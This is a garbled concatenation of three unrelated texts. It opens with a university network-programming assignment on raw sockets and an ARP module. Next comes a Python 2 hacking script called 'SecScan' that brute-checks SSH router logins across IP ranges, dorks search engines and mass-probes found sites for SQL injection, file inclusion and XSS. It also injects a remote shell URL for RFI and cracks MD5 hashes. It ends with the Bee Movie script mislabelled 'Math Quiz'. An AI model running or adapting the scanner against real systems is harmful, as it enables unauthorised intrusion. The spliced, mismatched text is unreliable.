your rt socket that is likely to be unique to yourself. The PF_PACKET socket should be of type SOCK_RAW (not SOCK_DGRAM). This socket should have a protocol value of ETH_P_IP = 0x0800 (IPv4). The UDP socket for multicasting will be discussed below. Note that, depending on how you choose to bind that socket, you might actually need to have two UDP sockets for multicast communication – see bottom of p. 576, Section 21.10. Your application will, of course, have to be running on every vm node that is included in the tour. When evoking the application on the source node, the user supplies a sequence of vm node names (not IP addresses) to be visited in order. This command line sequence starts with the next node to be visited from the source node (i.e., it does not start with the source node itself). The sequence can include any number of repeated visits to the same node. For example, suppose that the source node is vm3 and the executable is called badr_tour : [root@vm3/root]# badr_tour vm2 vm10 vm4 vm7 vm5 vm2 vm6 vm2 vm9 vm4 vm7 vm2 vm6 vm5 vm1 vm10 vm8 (but note that the tour does not necessarily have to visit every vm node; and the same node should not appear consequentively in the tour list – i.e., the next node on the tour cannot be the current node itself). The application turns the sequence into a list of IP addresses for source routing. It also adds the IP address of the source node itself to the beginning of the list. The list thus produced will be carried as the payload of an IP packet, not as a SSRR option in the packet header. It is our application which will ensure that every node in the sequence is visited in order, not the IP SSRR capability. The source node should also add to the list an IP multicast address and a port number of its choice. It should also join the multicast group at that address and port number on its UDP socket. The TTL for outgoing multicasts should be set to 1. The application then fills in the header of an IP packet, designating itself as the IP source, and the next node to be visited as the IP destination. The packet is sent out on the rt socket. Note that on Linux, all the fields of the packet header must be in network byte order (Stevens, Section 28.3, p. 737, the fourth bullet point). When filling in the packet header, you should explicitly fill in the identification field (recall that, with the IP_HDRINCL socket option, if the identification field is given value 0, then the kernel will set its value). Try to make sure that the value you choose is likely to be unique to yourself (for reasons similar to those explained with respect to the IPPROTO_XXXX in 1. above). When a node receives an IP packet on its rt socket, it should first check that the identification field carries the right value (this implies that you will hard code your choice of identification field value determined in item 2 above in your code). If the identification field value does not check out, the packet is ignored. For a valid packet : Print out a message along the lines of: <time> received source routing packet from <hostname> <time> is the current time in human-readable format (see lines 19 & 20 in Figure 1.9, p. 14, and the corresponding explanation on p. 14f.), and <hostname> is the host name corresponding to the source IP address in the header of the received packet. If this is the first time the node is visited, the application should use the multicast address and port number in the packet received to join the multicast group on its UDP socket. The TTL for outgoing multicasts should be set to 1. The application updates the list in the payload, so that the next node in the tour can easily identify what the next hop from itself will be when it receives the packet. How you do this I leave up to you. You could, for example, include as part of the payload a pointer field into the list of nodes to be visited. This pointer would then be updated to the next entry in the list as the packet progresses hop by hop (see Figure 27.1 and the associated explanation on pp. 711-712). Other solutions are, of course, possible. The application then fills in a new IP header, designating itself as the IP source, and the next node to be visited as the IP destination. The identification field should be set to the same value as in the received packet. The packet is sent out on the rt socket. The node should also initiate pinging to the preceding node in the tour (the IP address of which it should pick up from the header of the received packet). However, unlike the Stevens ping code, it will be using the SOCK_RAW-type PF_PACKET socket of item 1 above to send the ICMP echo request messages. Before it can send echo request messages, the application has to call on the ARP module you will implement to get the Ethernet address of this preceding / ‘target’ node; this call is made using the API function areq which you will also implement (see sections ARP module specifications & API specifications below). Note that ARP has to be evoked every time the application wants to send out an echo request message, and not just the first time. An echo request message has to be encapsulated in a properly-formulated IP packet, which is in turn encapsulated in a properly-formulated Ethernet frame transmitted out through the PF_PACKET socket ; otherwise, ICMP at the source node will not receive it. You will have to modify Stevens’ ping code accordingly, specifically, the send_v4 function. In particular, the Ethernet frame must have a value of ETH_P_IP = 0x0800 (IPv4 – see <linux/if_ether.h>) in the frame type / ‘length’ field ; and the encapsulated IP packet must have a value of IPPROTO_ICMP = 0x01 (ICMPv4 – see <netinet_in.h>) in its protocol field. You should also simplify the ping code in its entirety by stripping all the ‘indirection’ IPv4 / IPv6 dual-operability paraphernalia and making the code work just for IPv4. Also note that the functions host_serv and freeaddrinfo, together with the associated structure addrinfo (see Sections 11.6, 11.8 & 11.11), in Figures 27.3, 27.6 & 28.5 ( pp. 713, 716 & 744f., respectively) can be replaced by the function gethostbyname and associated structure hostent (see Section 11.3) where needed. Also, there is no ‘-v’ verbose option, so this too should be stripped from Stevens’ code. When a node is ready to start pinging, it first prints out a ‘PING’ message similar to lines 32-33 of Figure 28.5, p. 744. It then builds up ICMP echo request messages and sends them to the source node every 1 second through the PF_PACKET socket. It also reads incoming echo response messages off the pg socket, in response to which it prints out the same kind of output as the code of Figure 28.8, p. 748. If this node and its preceding node have been previously visited in that order during the tour, then pinging would have already been initiated from the one to the other in response to the first visit, and nothing further should nor need be done during second and subsequent visits. In light of the above, note that once a node initiates pinging, it needs to read from both its rt and pg sockets, necessitating the use of the select function. As will be clear from what follows below, the application will anyway be needing also to simultaneously monitor its UDP socket for incoming multicast datagrams. When the last node on the tour is reached, and if this is the first time it is visited, it joins the multicast group and starts pinging the preceding node (if it is not already doing so). After a few echo replies are received (five, say), it sends out the multicast message below on its UDP socket (i.e., the node should wait about five seconds before sending the multicast message) : <<<<< This is node vmi . Tour has ended . Group members please identify yourselves. >>>>> where vmi is the name (not IP address) of the node. The node should also print this message out on stdout preceded, on the same line, by the phrase: Node vmi . Sending: <then print out the message sent>. Each node vmj receiving this message should print out the message received preceded, on the same line, by the phrase: Node vmj . Received <then print out the message received>. Each such node in step a above should then immediately stop its pinging activity. The node should then send out the following multicast message: <<<<< Node vmj . I am a member of the group. >>>>> and print out this message preceded, on the same line, by the phrase: Node vmj . Sending: <then print out the message sent>. Each node receiving these second multicast messages (i.e., the messages that nodes – including itself – sent out in step c above) should print each such message out preceded, on the same line, by the phrase: Node vmk . Received: <then print out the message received>. Reading from the socket in step d above should be implemented with a 5-second timeout. When the timeout expires, the node should print out another message to the effect that it is terminating the Tour application, and gracefully exit its Tour process. Note that under Multicast specifications, the last node in the tour, which sends out the End of Tour message, should itself receive a copy of that message and, when it does, it should behave exactly as do the other nodes in steps a. – e. above. ARP module specifications Your executable is evoked with no command line arguments. Like the Tour module, it will be running on every vm node. It uses the get_hw_addrs function of Assignment 3 to explore its node’s interfaces and build a set of <IP address , HW address> matching pairs for all eth0 interface IP addresses (including alias IP addresses, if any). Write out to stdout in some appropriately clear format the address pairs found. The module creates two sockets: a PF_PACKET socket and a Unix domain socket. The PF_PACKET should be of type SOCK_RAW (not type SOCK_DGRAM) with a protocol value of your choice (but not one of the standard values defined in <linux/if_ether.h>) which is, hopefully, unique to yourself. This value effectively becomes the protocol value for your implementation of ARP. Because this protocol value will be carried in the frame type / ‘length’ field of the Ethernet frame header (see Figure 4.3 of the ARP & RARP handout), the value chosen should be not less than 1536 (0x600) so that it is not misinterpreted as the length of an Ethernet 802.3 frame. The Unix domain socket should be of type SOCK_STREAM (not SOCK_DGRAM). It is a listening socket bound to a ‘well-known’ sun_path file. This socket will be used to communicate with the function areq that is implemented in the Tour module (see the section API specifications below). In this context, areq will act as the client and the ARP module as the server. The ARP module then sits in an infinite loop, monitoring these two sockets. As ARP request messages arrive on the PF_PACKET socket, the module processes them, and responds with ARP reply messages as appropriate. The protocol builds a ‘cache’ of matching <IP address , HW address> pairs from the replies (and requests – see below) it receives. For simplicity, and unlike the real ARP, we shall not implement timing out mechanisms for these cache entries. A cache entry has five parts: (i) IP address ; (ii) HW address ; (iii) sll_ifindex (the interface to be used for reaching the matching pair <(i) , (ii)>) ; (iv) sll_hatype ; and (v) a Unix-domain connection-socket descriptor for a connected client (see the section API specifications below for the latter three). When an ARP reply is being entered in the cache, the ARP module uses the socket descriptor in (v) to send a reply to the client, closes the connection socket, and deletes the socket descriptor from the cache entry. Note that, like the real ARP, when an ARP request is received by a node, and if the request pertains to that receiving node, the sender’s (see Figure 4.3 of the ARP & RARP handout) <IP address, HW address> matching pair should be entered into the cache if it is not already there (together, of course, with (iii) sll_ifindex & (iv) sll_hatype), or updated if need be if such an entry already exists in the cache. If the ARP request received does not pertain to the node receiving it, but there is already an entry in that receiving node's cache for the sender’s <IP address, HW address> matching pair, that entry should be checked and updated if need be. If there is no such entry, no action is taken (in particular, and unlike the case above, no new entry should be made in the receiving node's cache of the sender’s <IP address, HW address> matching pair if such an entry does not already exist). ARP request and reply messages have the same format as Figure 4.3 of the ARP & RARP handout, but with an extra 2-byte identification field added at the beginning which you fill with a value chosen so that it has a high probability of being unique to yourself. This value is to be echoed in the reply message, and helps to act as a further filter in case some other student happens to have fortuitously chosen the same value as yourself for the protocol parameter of the ARP PF_PACKET. Values in the fields of our ARP messages must be in network byte order. You might find the system header file <linux/if_arp.h> useful for manipulating ARP request and reply messages, but remember that our version of these messages have an extra two-byte field as mentioned above. Your code should print out on stdout, in some appropriately clear format, the contents of the Ethernet frame header and ARP request message you send. As described in Section 4.4 of the ARP & RARP handout, the node that responds to the request should, in its reply message, swap the two sender addresses with the two target addresses, as well as, of course, echo back the extra identification field sent with the request. The protocol at this responding node should print out, in an appropriately clear format, both the request frame (header and ARP message) it receives and the reply frame it sends. Similarly, the node that sent the request should print out the reply frame it receives. Finally, recall that the node issuing the request sends out a broadcast Ethernet frame, but the responding node replies with a unicast frame. API specifications The API is for communication between the Tour process and the ARP process. It consists of a single function, areq, implemented in the Tour module. areq is called by send_v4 function of the application every time the latter want to send out an ICMP echo request message: int areq (struct sockaddr *IPaddr, socklen_t sockaddrlen, struct hwaddr *HWaddr); IPaddr contains the primary or alias IPaddress of a ‘target’ node on the LAN for which the corresponding hardware address is being requested. hwaddr is a new structure (and not a pre-existing type) modeled on the sockaddr_ll of PF_PACKET; you will have to declare it in your code. It is used to return the requested hardware address to the caller of areq : structure hwaddr { int sll_ifindex; /* Interface number */ unsigned short sll_hatype; /* Hardware type */ unsigned char sll_halen; /* Length of address */ unsigned char sll_addr[8]; /* Physical layer address */ }; areq creates a Unix domain socket of type SOCK_STREAM and connects to the ‘well-known’ sun_path file of the ARP listening socket. It sends the IP address from parameter IPaddr and the information in the three fields of parameter HWaddr to ARP. It then blocks on a read awaiting a reply from ARP. This read should be backed up by a timeout since it is possible that no reply is received for the request. If a timeout occurs, areq should close the socket and return to its caller indicating failure (through its int return value). Your application code should print out on stdout, in some appropriately clear format, a notification every time areq is called, giving the IP address for which a HW address is being sought. It should similarly print out the result when the call to areq returns (HW address returned, or failure). When the ARP module receives a request for a HW address from areq through its Unix domain listening socket, it first checks if the required HW address is already in the cache. If so, it can respond immediately to the areq and close the Unix domain connection socket. Else : it makes an ‘incomplete’ entry in the cache, consisting of parts (i), (iii), (iv) and (v) ; puts out an ARP request message on the network on its PF_PACKET socket; and starts monitoring the areq connection socket for readability – if the areq client closes the connection socket (this would occur in response to a timeout in areq), ARP deletes the corresponding incomplete entry from the cache (and ignores any subsequent ARP reply from the network if such is received). On the other hand, if ARP receives a reply from the network, it updates the incomplete cache entry, responds to areq, and closes the connection socket.
udinparla / Aa.py#!/usr/bin/env python import re import hashlib import Queue from random import choice import threading import time import urllib2 import sys import socket try: import paramiko PARAMIKO_IMPORTED = True except ImportError: PARAMIKO_IMPORTED = False USER_AGENT = ["Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3", "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7", "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)", "YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)", "Mozilla/5.0 (Windows; U; Windows NT 5.1) AppleWebKit/535.38.6 (KHTML, like Gecko) Version/5.1 Safari/535.38.6", "Mozilla/5.0 (Macintosh; U; U; PPC Mac OS X 10_6_7 rv:6.0; en-US) AppleWebKit/532.23.3 (KHTML, like Gecko) Version/4.0.2 Safari/532.23.3" ] option = ' ' vuln = 0 invuln = 0 np = 0 found = [] class Router(threading.Thread): """Checks for routers running ssh with given User/Pass""" def __init__(self, queue, user, passw): if not PARAMIKO_IMPORTED: print 'You need paramiko.' print 'http://www.lag.net/paramiko/' sys.exit(1) threading.Thread.__init__(self) self.queue = queue self.user = user self.passw = passw def run(self): """Tries to connect to given Ip on port 22""" ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) while True: try: ip_add = self.queue.get(False) except Queue.Empty: break try: ssh.connect(ip_add, username = self.user, password = self.passw, timeout = 10) ssh.close() print "Working: %s:22 - %s:%s\n" % (ip_add, self.user, self.passw) write = open('Routers.txt', "a+") write.write('%s:22 %s:%s\n' % (ip_add, self.user, self.passw)) write.close() self.queue.task_done() except: print 'Not Working: %s:22 - %s:%s\n' % (ip_add, self.user, self.passw) self.queue.task_done() class Ip: """Handles the Ip range creation""" def __init__(self): self.ip_range = [] self.start_ip = raw_input('Start ip: ') self.end_ip = raw_input('End ip: ') self.user = raw_input('User: ') self.passw = raw_input('Password: ') self.iprange() def iprange(self): """Creates list of Ip's from Start_Ip to End_Ip""" queue = Queue.Queue() start = list(map(int, self.start_ip.split("."))) end = list(map(int, self.end_ip.split("."))) tmp = start self.ip_range.append(self.start_ip) while tmp != end: start[3] += 1 for i in (3, 2, 1): if tmp[i] == 256: tmp[i] = 0 tmp[i-1] += 1 self.ip_range.append(".".join(map(str, tmp))) for add in self.ip_range: queue.put(add) for i in range(10): thread = Router(queue, self.user, self.passw ) thread.setDaemon(True) thread.start() queue.join() class Crawl: """Searches for dorks and grabs results""" def __init__(self): if option == '4': self.shell = str(raw_input('Shell location: ')) self.dork = raw_input('Enter your dork: ') self.queue = Queue.Queue() self.pages = raw_input('How many pages(Max 20): ') self.qdork = urllib2.quote(self.dork) self.page = 1 self.crawler() def crawler(self): """Crawls Ask.com for sites and sends them to appropriate scan""" print '\nDorking...' for i in range(int(self.pages)): host = "http://uk.ask.com/web?q=%s&page=%s" % (str(self.qdork), self.page) req = urllib2.Request(host) req.add_header('User-Agent', choice(USER_AGENT)) response = urllib2.urlopen(req) source = response.read() start = 0 count = 1 end = len(source) numlinks = source.count('_t" href', start, end) while count < numlinks: start = source.find('_t" href', start, end) end = source.find(' onmousedown="return pk', start, end) link = source[start+10:end-1].replace("amp;","") self.queue.put(link) start = end end = len(source) count = count + 1 self.page += 1 if option == '1': for i in range(10): thread = ScanClass(self.queue) thread.setDaemon(True) thread.start() self.queue.join() elif option == '2': for i in range(10): thread = LScanClass(self.queue) thread.setDaemon(True) thread.start() self.queue.join() elif option == '3': for i in range(10): thread = XScanClass(self.queue) thread.setDaemon(True) thread.start() self.queue.join() elif option == '4': for i in range(10): thread = RScanClass(self.queue, self.shell) thread.setDaemon(True) thread.start() self.queue.join() class ScanClass(threading.Thread): """Scans for Sql errors and ouputs to file""" def __init__(self, queue): threading.Thread.__init__(self) self.queue = queue self.schar = "'" self.file = 'sqli.txt' def run(self): """Scans Url for Sql errors""" while True: try: site = self.queue.get(False) except Queue.Empty: break if '=' in site: global vuln global invuln global np test = site + self.schar try: conn = urllib2.Request(test) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() data = opener.open(conn).read() except: self.queue.task_done() else: if (re.findall("error in your SQL syntax", data, re.I)): self.mysql(test) vuln += 1 elif (re.findall('oracle.jdbc.', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('system.data.oledb', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('SQL command net properly ended', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('atoracle.jdbc.', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('java.sql.sqlexception', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('query failed:', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('postgresql.util.', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('mysql_fetch', data, re.I)): self.mysql(test) vuln += 1 elif (re.findall('Error:unknown', data, re.I)): self.mysql(test) vuln += 1 elif (re.findall('JET Database Engine', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('Microsoft OLE DB Provider for', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('mysql_numrows', data, re.I)): self.mysql(test) vuln += 1 elif (re.findall('mysql_num', data, re.I)): self.mysql(test) vuln += 1 elif (re.findall('Invalid Query', data, re.I)): self.mysql(test) vuln += 1 elif (re.findall('FetchRow', data, re.I)): self.mysql(test) vuln += 1 elif (re.findall('JET Database', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('OLE DB Provider for', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('Syntax error', data, re.I)): self.mssql(test) vuln += 1 else: print B+test + W+' <-- Not Vuln' invuln += 1 else: print R+site + W+' <-- No Parameters' np += 1 self.queue.task_done() def mysql(self, url): """Proccesses vuln sites into text file and outputs to screen""" read = open(self.file, "a+").read() if url in read: print G+'Dupe: ' + W+url else: print O+"MySql: " + url + W write = open(self.file, "a+") write.write('[SQLI]: ' + url + "\n") write.close() def mssql(self, url): """Proccesses vuln sites into text file and outputs to screen""" read = open(self.file).read() if url in read: print G+'Dupe: ' + url + W else: print O+"MsSql: " + url + W write = open (self.file, "a+") write.write('[SQLI]: ' + url + "\n") write.close() class LScanClass(threading.Thread): """Scans for Lfi errors and outputs to file""" def __init__(self, queue): threading.Thread.__init__(self) self.file = 'lfi.txt' self.queue = queue self.lchar = '../' def run(self): """Checks Url for File Inclusion errors""" while True: try: site = self.queue.get(False) except Queue.Empty: break if '=' in site: lsite = site.rsplit('=', 1)[0] if lsite[-1] != "=": lsite = lsite + "=" test = lsite + self.lchar global vuln global invuln global np try: conn = urllib2.Request(test) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() data = opener.open(conn).read() except: self.queue.task_done() else: if (re.findall("failed to open stream: No such file or directory", data, re.I)): self.lfi(test) vuln += 1 else: print B+test + W+' <-- Not Vuln' invuln += 1 else: print R+site + W+' <-- No Parameters' np += 1 self.queue.task_done() def lfi(self, url): """Proccesses vuln sites into text file and outputs to screen""" read = open(self.file, "a+").read() if url in read: print G+'Dupe: ' + url + W else: print O+"Lfi: " + url + W write = open(self.file, "a+") write.write('[LFI]: ' + url + "\n") write.close() class XScanClass(threading.Thread): """Scan for Xss errors and outputs to file""" def __init__(self, queue): threading.Thread.__init__(self) self.queue = queue self.xchar = """<ScRIpT>alert('xssBYm0le');</ScRiPt>""" self.file = 'xss.txt' def run(self): """Checks Url for possible Xss""" while True: try: site = self.queue.get(False) except Queue.Empty: break if '=' in site: global vuln global invuln global np xsite = site.rsplit('=', 1)[0] if xsite[-1] != "=": xsite = xsite + "=" test = xsite + self.xchar try: conn = urllib2.Request(test) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() data = opener.open(conn).read() except: self.queue.task_done() else: if (re.findall("xssBYm0le", data, re.I)): self.xss(test) vuln += 1 else: print B+test + W+' <-- Not Vuln' invuln += 1 else: print R+site + W+' <-- No Parameters' np += 1 self.queue.task_done() def xss(self, url): """Proccesses vuln sites into text file and outputs to screen""" read = open(self.file, "a+").read() if url in read: print G+'Dupe: ' + url + W else: print O+"Xss: " + url + W write = open(self.file, "a+") write.write('[XSS]: ' + url + "\n") write.close() class RScanClass(threading.Thread): """Scans for Rfi errors and outputs to file""" def __init__(self, queue, shell): threading.Thread.__init__(self) self.queue = queue self.file = 'rfi.txt' self.shell = shell def run(self): """Checks Url for Remote File Inclusion vulnerability""" while True: try: site = self.queue.get(False) except Queue.Empty: break if '=' in site: global vuln global invuln global np rsite = site.rsplit('=', 1)[0] if rsite[-1] != "=": rsite = rsite + "=" link = rsite + self.shell + '?' try: conn = urllib2.Request(link) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() data = opener.open(conn).read() except: self.queue.task_done() else: if (re.findall('uname -a', data, re.I)): self.rfi(link) vuln += 1 else: print B+link + W+' <-- Not Vuln' invuln += 1 else: print R+site + W+' <-- No Parameters' np += 1 self.queue.task_done() def rfi(self, url): """Proccesses vuln sites into text file and outputs to screen""" read = open(self.file, "a+").read() if url in read: print G+'Dupe: ' + url + W else: print O+"Rfi: " + url + W write = open(self.file, "a+") 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for add in dirs: test = site + add queue.put(test) for i in range(20): thread = Atest(queue) thread.setDaemon(True) thread.start() queue.join() def aprint(): """Print results of admin page scans""" print 'Search Finished\n' if len(found) == 0: print 'No pages found' else: for site in found: print O+'Found: ' + G+site + W class SDtest(threading.Thread): """Checks given Domain for Sub Domains""" def __init__(self, queue): threading.Thread.__init__(self) self.queue = queue def run(self): """Checks if Sub Domain responds""" while True: try: domain = self.queue.get(False) except Queue.Empty: break try: site = 'http://' + domain conn = urllib2.Request(site) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() opener.open(conn) except urllib2.URLError: self.queue.task_done() else: target = socket.gethostbyname(domain) print 'Found: ' + site + ' - ' + target self.queue.task_done() def subd(): """Create queue and threads for sub domain scans""" queue = Queue.Queue() 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"socios", "soporte", "squirrel", "squirrelmail", "ssh", "staff", "sms", "solaris", "sql", "stats", "sun", "support", "test", "tftp", "tienda", "unix", "upload", "uploads", "ventas", "virtual", "vista", "vnc", "vpn", "vpn1", "vpn2", "vpn3", "wap", "web1", "web2", "web3", "webct", "webadmin", "webmail", "webmaster", "win", "windows", "www", "ww0", "ww1", "ww2", "ww3", "www0", "www1", "www2", "www3", "xanthus", "zeus"] for check in sub: test = check + '.' + site queue.put(test) for i in range(20): thread = SDtest(queue) thread.setDaemon(True) thread.start() queue.join() class Cracker(threading.Thread): """Use a wordlist to try and brute the hash""" def __init__(self, queue, hashm): threading.Thread.__init__(self) self.queue = queue self.hashm = hashm def run(self): """Hash word and check against hash""" while True: try: word = self.queue.get(False) except Queue.Empty: break tmp = hashlib.md5(word).hexdigest() if tmp == self.hashm: self.result(word) self.queue.task_done() def result(self, words): """Print result if found""" print self.hashm + ' = ' + words def word(): """Create queue and threads for hash crack""" queue = Queue.Queue() wordlist = raw_input('Wordlist: ') hashm = raw_input('Enter Md5 hash: ') read = open(wordlist) for words in read: words = words.replace("\n","") queue.put(words) read.close() for i in range(5): thread = Cracker(queue, hashm) thread.setDaemon(True) thread.start() queue.join() class OnlineCrack: """Use online service to check for hash""" def crack(self): """Connect and check hash""" hashm = raw_input('Enter MD5 Hash: ') conn = urllib2.Request('http://md5.hashcracking.com/search.php?md5=%s' % (hashm)) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() opener.open(conn) data = opener.open(conn).read() if data == 'No results returned.': print '\n- Not found or not valid -' else: print '\n- %s -' % (data) class Check: """Check your current IP address""" def grab(self): """Connect to site and grab IP""" site = 'http://www.tracemyip.org/' try: conn = urllib2.Request(site) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() opener.open(conn) data = opener.open(conn).read() start = 0 end = len(data) start = data.find('onClick="', start, end) end = data.find('size=', start, end) ip_add = data[start+46:end-2].strip() print '\nYour current Ip address is %s' % (ip_add) except urllib2.HTTPError: print 'Error connecting' def output(): """Outputs dork scan results to screen""" print '\n>> ' + str(vuln) + G+' Vulnerable Sites Found' + W print '>> ' + str(invuln) + G+' Sites Not Vulnerable' + W print '>> ' + str(np) + R+' Sites Without Parameters' + W if option == '1': print '>> Output Saved To sqli.txt\n' elif option == '2': print '>> Output Saved To lfi.txt' elif option == '3': print '>> Output Saved To xss.txt' elif option == '4': print '>> Output Saved To rfi.txt' W = "\033[0m"; R = "\033[31m"; G = "\033[32m"; O = "\033[33m"; B = "\033[34m"; def main(): """Outputs Menu and gets input""" quotes = [ '\nm0le@tormail.org\n' ] print (O+''' ------------- -- SecScan -- --- v1.5 ---- ---- by ----- --- m0le ---- -------------''') print (G+''' -[1]- SQLi -[2]- LFI -[3]- XSS -[4]- RFI -[5]- Proxy -[6]- Admin Page Finder -[7]- Sub Domain Scan -[8]- Dictionary MD5 cracker -[9]- Online MD5 cracker -[10]- Check your IP address''') print (B+''' -[!]- If freeze while running or want to quit, just Ctrl C, it will automatically terminate the job. ''') print W global option option = raw_input('Enter Option: ') if option: if option == '1': Crawl() output() print choice(quotes) elif option == '2': Crawl() output() print choice(quotes) elif option == '3': Crawl() output() print choice(quotes) elif option == '4': Crawl() output() print choice(quotes) elif option == '5': Ip() print choice(quotes) elif option == '6': admin() aprint() print choice(quotes) elif option == '7': subd() print choice(quotes) elif option == '8': word() print choice(quotes) elif option == '9': OnlineCrack().crack() print choice(quotes) elif option == '10': Check().grab() print choice(quotes) else: print R+'\nInvalid Choice\n' + W time.sleep(0.9) main() else: print R+'\nYou Must Enter An Option (Check if your typo is corrected.)\n' + W time.sleep(0.9) main() if __name__ == '__main__': main()
HimangshuCyber / Math QuizAccording to all known laws of aviation, there is no way a bee should be able to fly. Its wings are too small to get its fat little body off the ground. The bee, of course, flies anyway because bees don't care what humans think is impossible. Yellow, black. Yellow, black. Yellow, black. Yellow, black. Ooh, black and yellow! Let's shake it up a little. Barry! Breakfast is ready! Ooming! Hang on a second. Hello? - Barry? - Adam? - Oan you believe this is happening? - I can't. I'll pick you up. Looking sharp. Use the stairs. Your father paid good money for those. Sorry. I'm excited. Here's the graduate. We're very proud of you, son. A perfect report card, all B's. Very proud. Ma! I got a thing going here. - You got lint on your fuzz. - Ow! That's me! - Wave to us! We'll be in row 118,000. - Bye! Barry, I told you, stop flying in the house! - Hey, Adam. - Hey, Barry. - Is that fuzz gel? - A little. Special day, graduation. Never thought I'd make it. Three days grade school, three days high school. Those were awkward. Three days college. I'm glad I took a day and hitchhiked around the hive. You did come back different. - Hi, Barry. - Artie, growing a mustache? Looks good. - Hear about Frankie? - Yeah. - You going to the funeral? - No, I'm not going. Everybody knows, sting someone, you die. Don't waste it on a squirrel. Such a hothead. I guess he could have just gotten out of the way. I love this incorporating an amusement park into our day. That's why we don't need vacations. Boy, quite a bit of pomp... under the circumstances. - Well, Adam, today we are men. - We are! - Bee-men. - Amen! Hallelujah! Students, faculty, distinguished bees, please welcome Dean Buzzwell. Welcome, New Hive Oity graduating class of... ...9:15. That concludes our ceremonies. And begins your career at Honex Industries! Will we pick ourjob today? I heard it's just orientation. Heads up! Here we go. Keep your hands and antennas inside the tram at all times. - Wonder what it'll be like? - A little scary. Welcome to Honex, a division of Honesco and a part of the Hexagon Group. This is it! Wow. Wow. We know that you, as a bee, have worked your whole life to get to the point where you can work for your whole life. Honey begins when our valiant Pollen Jocks bring the nectar to the hive. Our top-secret formula is automatically color-corrected, scent-adjusted and bubble-contoured into this soothing sweet syrup with its distinctive golden glow you know as... Honey! - That girl was hot. - She's my cousin! - She is? - Yes, we're all cousins. - Right. You're right. - At Honex, we constantly strive to improve every aspect of bee existence. These bees are stress-testing a new helmet technology. - What do you think he makes? - Not enough. Here we have our latest advancement, the Krelman. - What does that do? - Oatches that little strand of honey that hangs after you pour it. Saves us millions. Oan anyone work on the Krelman? Of course. Most bee jobs are small ones. But bees know that every small job, if it's done well, means a lot. But choose carefully because you'll stay in the job you pick for the rest of your life. The same job the rest of your life? I didn't know that. What's the difference? You'll be happy to know that bees, as a species, haven't had one day off in 27 million years. So you'll just work us to death? We'll sure try. Wow! That blew my mind! "What's the difference?" How can you say that? One job forever? That's an insane choice to have to make. I'm relieved. Now we only have to make one decision in life. But, Adam, how could they never have told us that? Why would you question anything? We're bees. We're the most perfectly functioning society on Earth. You ever think maybe things work a little too well here? Like what? Give me one example. I don't know. But you know what I'm talking about. Please clear the gate. Royal Nectar Force on approach. Wait a second. Oheck it out. - Hey, those are Pollen Jocks! - Wow. I've never seen them this close. They know what it's like outside the hive. Yeah, but some don't come back. - Hey, Jocks! - Hi, Jocks! You guys did great! You're monsters! You're sky freaks! I love it! I love it! - I wonder where they were. - I don't know. Their day's not planned. Outside the hive, flying who knows where, doing who knows what. You can'tjust decide to be a Pollen Jock. You have to be bred for that. Right. Look. That's more pollen than you and I will see in a lifetime. It's just a status symbol. Bees make too much of it. Perhaps. Unless you're wearing it and the ladies see you wearing it. Those ladies? Aren't they our cousins too? Distant. Distant. Look at these two. - Oouple of Hive Harrys. - Let's have fun with them. It must be dangerous being a Pollen Jock. Yeah. Once a bear pinned me against a mushroom! He had a paw on my throat, and with the other, he was slapping me! - Oh, my! - I never thought I'd knock him out. What were you doing during this? Trying to alert the authorities. I can autograph that. A little gusty out there today, wasn't it, comrades? Yeah. Gusty. We're hitting a sunflower patch six miles from here tomorrow. - Six miles, huh? - Barry! A puddle jump for us, but maybe you're not up for it. - Maybe I am. - You are not! We're going 0900 at J-Gate. What do you think, buzzy-boy? Are you bee enough? I might be. It all depends on what 0900 means. Hey, Honex! Dad, you surprised me. You decide what you're interested in? - Well, there's a lot of choices. - But you only get one. Do you ever get bored doing the same job every day? Son, let me tell you about stirring. You grab that stick, and you just move it around, and you stir it around. You get yourself into a rhythm. It's a beautiful thing. You know, Dad, the more I think about it, maybe the honey field just isn't right for me. You were thinking of what, making balloon animals? That's a bad job for a guy with a stinger. Janet, your son's not sure he wants to go into honey! - Barry, you are so funny sometimes. - I'm not trying to be funny. You're not funny! You're going into honey. Our son, the stirrer! - You're gonna be a stirrer? - No one's listening to me! Wait till you see the sticks I have. I could say anything right now. I'm gonna get an ant tattoo! Let's open some honey and celebrate! Maybe I'll pierce my thorax. Shave my antennae. Shack up with a grasshopper. Get a gold tooth and call everybody "dawg"! I'm so proud. - We're starting work today! - Today's the day. Oome on! All the good jobs will be gone. Yeah, right. Pollen counting, stunt bee, pouring, stirrer, front desk, hair removal... - Is it still available? - Hang on. Two left! One of them's yours! Oongratulations! Step to the side. - What'd you get? - Picking crud out. Stellar! Wow! Oouple of newbies? Yes, sir! Our first day! We are ready! Make your choice. - You want to go first? - No, you go. Oh, my. What's available? Restroom attendant's open, not for the reason you think. - Any chance of getting the Krelman? - Sure, you're on. I'm sorry, the Krelman just closed out. 